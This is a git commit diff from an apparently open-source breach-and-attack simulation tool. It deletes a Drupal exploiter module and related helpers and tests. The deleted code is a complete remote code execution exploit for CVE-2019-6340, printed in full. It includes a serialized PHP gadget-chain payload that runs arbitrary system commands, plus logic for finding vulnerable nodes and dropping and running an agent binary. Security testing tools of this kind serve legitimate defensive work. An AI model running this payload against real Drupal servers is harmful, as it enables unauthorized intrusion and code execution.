Agent: Remove DrupalExploiter and related code

This commit is contained in:
Shreya Malviya 2022-04-08 13:41:23 +05:30
parent 7b3b17251a
commit 6052ca8fcc
4 changed files with 2 additions and 231 deletions

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@ -1,13 +1,4 @@
import re
from typing import Optional, Tuple
from urllib.parse import urlparse
def remove_port(url):
parsed = urlparse(url)
with_port = f"{parsed.scheme}://{parsed.netloc}"
without_port = re.sub(":[0-9]+(?=$|/)", "", with_port)
return without_port
def address_to_ip_port(address: str) -> Tuple[str, Optional[str]]:

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@ -1,197 +0,0 @@
"""
Remote Code Execution on Drupal server - CVE-2019-6340
Implementation is based on:
https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88
/f9f6a5bb6605745e292bee3a4079f261d891738a.
"""
import logging
from urllib.parse import urljoin
import requests
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.network.network_utils import remove_port
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import ID_STRING
logger = logging.getLogger(__name__)
class DrupalExploiter(WebRCE):
_EXPLOITED_SERVICE = "Drupal Server"
def __init__(self, host):
super(DrupalExploiter, self).__init__(host)
def get_exploit_config(self):
"""
We override this function because the exploits requires a special extension in the URL,
"node",
e.g. an exploited URL would be http://172.1.2.3:<port>/node/3.
:return: the Drupal exploit config
"""
exploit_config = super(DrupalExploiter, self).get_exploit_config()
exploit_config["url_extensions"] = [
"node/", # In Linux, no path is added
"drupal/node/",
] # However, Bitnami installations are under /drupal
exploit_config["dropper"] = True
return exploit_config
def add_vulnerable_urls(self, potential_urls, stop_checking=False):
"""
We need a specific implementation of this function in order to add the URLs *with the
node IDs*.
We therefore check, for every potential URL, all possible node IDs.
:param potential_urls: Potentially-vulnerable URLs
:param stop_checking: Stop if one vulnerable URL is found
:return: None (in-place addition)
"""
for url in potential_urls:
try:
node_ids = find_exploitbale_article_ids(url)
if node_ids is None:
logger.info("Could not find a Drupal node to attack")
continue
for node_id in node_ids:
node_url = urljoin(url, str(node_id))
if self.check_if_exploitable(node_url):
self.add_vuln_url(
url
) # This is for report. Should be refactored in the future
self.vulnerable_urls.append(node_url)
if stop_checking:
break
except Exception as e: # We still don't know which errors to expect
logger.error(f"url {url} failed in exploitability check: {e}")
if not self.vulnerable_urls:
logger.info("No vulnerable urls found")
def check_if_exploitable(self, url):
"""
Check if a certain URL is exploitable.
We use this specific implementation (and not simply run self.exploit) because this
function does not "waste"
a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic.
:param url: Drupal's URL and port
:return: Vulnerable URL if exploitable, otherwise False
"""
payload = build_exploitability_check_payload(url)
response = requests.get( # noqa: DUO123
f"{url}?_format=hal_json",
json=payload,
headers={"Content-Type": "application/hal+json"},
verify=False,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
if is_response_cached(response):
logger.info(f"Checking if node {url} is vuln returned cache HIT, ignoring")
return False
return "INVALID_VALUE does not correspond to an entity on this site" in response.text
def exploit(self, url, command):
# pad a easy search replace output:
cmd = f"echo {ID_STRING} && {command}"
base = remove_port(url)
payload = build_cmd_execution_payload(base, cmd)
r = requests.get( # noqa: DUO123
f"{url}?_format=hal_json",
json=payload,
headers={"Content-Type": "application/hal+json"},
verify=False,
timeout=LONG_REQUEST_TIMEOUT,
)
if is_response_cached(r):
logger.info(f"Exploiting {url} returned cache HIT, may have failed")
if ID_STRING not in r.text:
logger.warning("Command execution _may_ have failed")
result = r.text.split(ID_STRING)[-1]
return result
def get_target_url(self):
"""
We're overriding this method such that every time self.exploit is invoked, we use a fresh
vulnerable URL.
Reusing the same URL eliminates its exploitability because of caching reasons :)
:return: vulnerable URL to exploit
"""
return self.vulnerable_urls.pop()
def are_vulnerable_urls_sufficient(self):
"""
For the Drupal exploit, 5 distinct URLs are needed to perform the full attack.
:return: Whether the list of vulnerable URLs has at least 5 elements.
"""
# We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey,
# chmod it and run it.
num_urls_needed_for_full_exploit = 5
num_available_urls = len(self.vulnerable_urls)
result = num_available_urls >= num_urls_needed_for_full_exploit
if not result:
logger.info(
f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a "
f"Drupal server "
f"but only {num_available_urls} found"
)
return result
def is_response_cached(r: requests.Response) -> bool:
"""Check if a response had the cache header."""
return "X-Drupal-Cache" in r.headers and r.headers["X-Drupal-Cache"] == "HIT"
def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set:
"""Find target articles that do not 404 and are not cached"""
articles = set()
while lower < upper:
node_url = urljoin(base_url, str(lower))
response = requests.get( # noqa: DUO123
node_url, verify=False, timeout=LONG_REQUEST_TIMEOUT
)
if response.status_code == 200:
if is_response_cached(response):
logger.info(f"Found a cached article at: {node_url}, skipping")
else:
articles.add(lower)
lower += 1
return articles
def build_exploitability_check_payload(url):
payload = {
"_links": {"type": {"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"}},
"type": {"target_id": "article"},
"title": {"value": "My Article"},
"body": {"value": ""},
}
return payload
def build_cmd_execution_payload(base, cmd):
payload = {
"link": [
{
"value": "link",
"options": 'O:24:"GuzzleHttp\\Psr7\\FnStream":2:{s:33:"\u0000'
'GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{s:5:"'
'close";a:2:{i:0;O:23:"GuzzleHttp\\HandlerStack":3:'
'{s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";'
's:|size|:"|command|";s:30:"\u0000GuzzleHttp\\HandlerStack\u0000'
'stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000'
'GuzzleHttp\\HandlerStack\u0000cached";b:0;}i:1;s:7:"'
'resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}'
"".replace("|size|", str(len(cmd))).replace("|command|", cmd),
}
],
"_links": {"type": {"href": f"{urljoin(base, '/rest/type/shortcut/default')}"}},
}
return payload

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@ -85,9 +85,6 @@ class WebRCE(HostExploiter):
)
self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"])
if not self.are_vulnerable_urls_sufficient():
return False
# Upload the right monkey to target
data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"])
@ -424,18 +421,7 @@ class WebRCE(HostExploiter):
"""
This method allows "configuring" the way in which a vulnerable URL is picked.
If the same URL should be used - always return the first.
Otherwise - implement your own (e.g. Drupal must use a new URI each time).
Otherwise - implement your own.
:return: a vulnerable URL
"""
return self.vulnerable_urls[0]
def are_vulnerable_urls_sufficient(self):
"""
Determine whether the number of vulnerable URLs is sufficient in order to perform the
full attack.
Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a
vulnerable URL is for
single use, thus we need a couple of them.
:return: Whether or not a full attack can be performed using the available vulnerable URLs.
"""
return len(self.vulnerable_urls) > 0

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@ -1,13 +1,4 @@
from unittest import TestCase
from common.network.network_utils import address_to_ip_port, remove_port
class TestNetworkUtils(TestCase):
def test_remove_port_from_url(self):
assert remove_port("https://google.com:80") == "https://google.com"
assert remove_port("https://8.8.8.8:65336") == "https://8.8.8.8"
assert remove_port("ftp://ftpserver.com:21/hello/world") == "ftp://ftpserver.com"
from common.network.network_utils import address_to_ip_port
def test_address_to_ip_port():